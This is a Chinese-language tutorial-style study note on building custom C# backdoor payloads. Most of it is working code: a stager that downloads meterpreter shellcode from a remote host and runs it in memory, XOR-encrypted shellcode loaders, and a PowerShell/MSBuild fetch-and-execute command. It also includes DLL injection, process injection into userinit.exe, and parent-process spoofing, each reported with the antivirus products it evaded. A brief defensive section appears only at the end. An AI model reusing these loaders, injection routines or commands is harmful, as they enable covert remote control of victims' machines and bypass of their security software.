使用C#编写自定义后门负载》学习笔记及免杀尝试
字数 1559 2025-08-26 22:11:45
使用C#编写自定义后门负载技术详解
目录
- 项目概述
- 环境准备
- Lab2 - Web服务加载内存Shellcode
- Lab3/Lab4 - Shellcode加密技术
- Lab5 - .NET框架绕过执行限制
- Lab6 - DLL注入技术
- Lab7 - 进程注入技术
- Lab8 - 进程伪装技术
- 总结与防御建议
项目概述
本项目详细介绍了使用C#编写自定义后门负载的多种技术,主要包含8个实验(Lab),每个实验展示不同的技术实现方式:
- 测试环境:Windows 10 (Windows Defender)、Windows 7 (360安全卫士、腾讯电脑管家)
- 技术特点:内存加载、加密混淆、进程注入、DLL注入、进程伪装等
- 免杀效果:部分技术可绕过主流杀毒软件检测
环境准备
基础工具
- MSFVenom:生成各种格式的Payload
- OpenSSL:生成SSL证书用于HTTPS通信
- Twisted:Python Web框架,用于搭建HTTPS服务
- .NET编译环境:C#编译器(csc.exe)
证书生成
openssl genrsa > privkey.pem # 生成私钥
openssl req -new -x509 -key privkey.pem -out cert.pem -days 365 # 生成证书
twisted -n web -c cert.pem -k privkey.pem --https=8080 # 启动HTTPS服务
Lab2 - Web服务加载内存Shellcode
技术原理
通过Web服务动态加载Shellcode到内存执行,避免文件落地检测。
实现步骤
- 生成Payload:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080 -f exe -o demo.exe
- C#关键代码:
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program
{
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://172.22.35.212:8080/jo8qpzUTLKP7YvpgpgVmjghsq-PI9uHda0z0YwHmVl9utBbhSUGY4-E6uVpp6bIO3Rz7wazCkbgwfIFGllVXGoy5cbHYeB7CXOXWqQ6xFDfamwN4QVt8db2SdcPRuEBonvwDwfrnXSAQdYJ14lFMV3mmyaNdqbiu9qhKGgKRRMWLCztXaPqMyfQ1ld8lqQC-7Nt7WLGD";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threatHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threatHandle, 0xFFFFFFFF);
}
}
- 编译与执行:
C:\windows\microsoft.net\framework\v4.0.30319\csc.exe 2.cs
handler -H 172.22.35.212 -P 8080 -p windows/x64/meterpreter/reverse_https
技术优势
- 全免杀:所有测试杀毒软件均未检测
- 动态加载:Shellcode不落地,直接从Web加载到内存执行
Lab3/Lab4 - Shellcode加密技术
技术原理
通过对Shellcode进行XOR或AES加密实现静态免杀。
实现步骤
- 生成加密Shellcode:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080 -f csharp
- C#解密执行代码:
private static byte[] xor(byte[] cipher, byte[] key) {
byte[] xored = new byte[cipher.Length];
for(int i = 0; i < cipher.Length; i++) {
xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
}
return xored;
}
static void Main()
{
string key = "ABCD";
byte[] xorshellcode = new byte[666] { /* 加密的Shellcode */ };
byte[] shellcode = xor(xorshellcode, Encoding.ASCII.GetBytes(key));
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
测试结果
- 绕过检测:360安全卫士、腾讯电脑管家
- 被检测:Windows Defender
Lab5 - .NET框架绕过执行限制
技术原理
在禁用cmd和powershell的环境下,利用.NET框架直接执行PowerShell命令。
实现代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;
public class Program
{
public static void Main()
{
PowerShell ps1 = PowerShell.Create();
ps1.AddScript("powershell -w hidden Invoke-WebRequest -uri http://172.22.35.212/8080.xml -OutFile 8080.xml;C:/Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe 8080.xml");
ps1.Invoke();
// 示例:获取进程列表
PowerShell ps2 = PowerShell.Create();
ps2.AddCommand("Get-Process");
Collection<PSObject> PSOutput = ps2.Invoke();
foreach (PSObject outputItem in PSOutput) {
if (outputItem != null) {
Console.WriteLine(outputItem);
}
}
}
}
技术要点
- AMSI绕过:使用MSBuild白名单技术执行Payload
- 无文件落地:通过内存加载执行
Lab6 - DLL注入技术
技术原理
将恶意DLL注入到合法进程中执行。
实现步骤
- 生成DLL Payload:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080 -f dll -o ShellcodeDll.dll
- C#注入代码:
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void Main()
{
// 列出所有进程
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs) {
try {
Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:"+ proc.Id);
} catch {
continue;
}
}
// 选择目标进程
int pid = Convert.ToInt32(Console.ReadLine());
Process targetProc = Process.GetProcessById(pid);
// 打开进程
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProc.Id);
// 分配内存
string dllPath = "C:\\path\\to\\ShellcodeDll.dll";
IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 写入DLL路径
WriteProcessMemory(procHandle, memAddr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
// 获取LoadLibrary地址
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 创建远程线程
CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, memAddr, 0, IntPtr.Zero);
}
技术优势
- 隐蔽性强:在已有进程中执行,不创建新进程
- 免杀效果:360和电脑管家未检测
Lab7 - 进程注入技术
技术原理
创建挂起的合法进程,注入Shellcode后恢复执行。
实现代码
[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
// ...其他字段
public StartupInfo() { this.cb = Marshal.SizeOf(this); }
}
public static void Main()
{
string binary = "userinit.exe"; // 目标进程
byte[] sc = new byte[679] { /* Shellcode */ };
StartupInfo sInfo = new StartupInfo();
ProcessInformation pInfo;
string binaryPath = "C:\\Windows\\System32\\"+binary;
// 创建挂起的进程
IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
// 在目标进程中分配内存
IntPtr hProcess = pInfo.hProcess;
IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 写入Shellcode
WriteProcessMemory(hProcess, spaceAddr, sc, new IntPtr(sc.Length), out bytesWritten);
// 创建远程线程执行Shellcode
CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
}
技术特点
- 进程伪装:使用合法进程(userinit.exe)作为载体
- 无文件落地:纯内存操作
Lab8 - 进程伪装技术
技术原理
将恶意进程伪装为合法进程的子进程。
实现代码
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static bool CreateProcess(int parentProcessId, string command)
{
// 设置父进程属性
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
var siEx = new STARTUPINFOEX();
siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
// 打开父进程
IntPtr parentHandle = OpenProcess(ProcessAccessFlags.CreateProcess | ProcessAccessFlags.DuplicateHandle, false, parentProcessId);
// 更新进程属性
IntPtr lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentHandle);
UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
// 创建进程
var ps = new SECURITY_ATTRIBUTES();
var ts = new SECURITY_ATTRIBUTES();
bool ret = CreateProcess(null, command, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);
// 清理资源
if (siEx.lpAttributeList != IntPtr.Zero) {
DeleteProcThreadAttributeList(siEx.lpAttributeList);
Marshal.FreeHGlobal(siEx.lpAttributeList);
}
Marshal.FreeHGlobal(lpValueProc);
return ret;
}
使用示例
string command = "cmd.exe /c powershell -w hidden Invoke-WebRequest -uri http://172.22.35.212/8080.xml -OutFile 8080.xml;C:/Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe 8080.xml";
UnmanagedExecute.CreateProcess(targetPid, command);
总结与防御建议
技术总结
- 内存操作:Lab2、Lab7等技术通过内存加载避免文件落地
- 加密混淆:Lab3/Lab4使用加密技术绕过静态检测
- 进程注入:Lab6、Lab7通过注入合法进程提高隐蔽性
- 进程伪装:Lab8通过修改父进程实现伪装
- 白名单利用:Lab5利用MSBuild等可信程序执行Payload
防御建议
-
监控异常行为:
- 非浏览器进程发起HTTPS请求
- 合法进程异常内存操作
- 进程父子关系异常
-
加强检测:
- 增强对.NET程序的内存行为分析
- 检测异常的进程创建标志(CREATE_SUSPENDED等)
- 监控进程注入行为
-
策略限制:
- 限制PowerShell执行权限
- 控制MSBuild等工具的网络访问
- 实施代码签名验证
-
日志审计:
- 详细记录进程创建事件
- 监控异常的网络连接模式
- 记录DLL加载行为
这些技术展示了现代恶意软件的高级规避技术,防御者需要采取多层次的安全措施才能有效防护。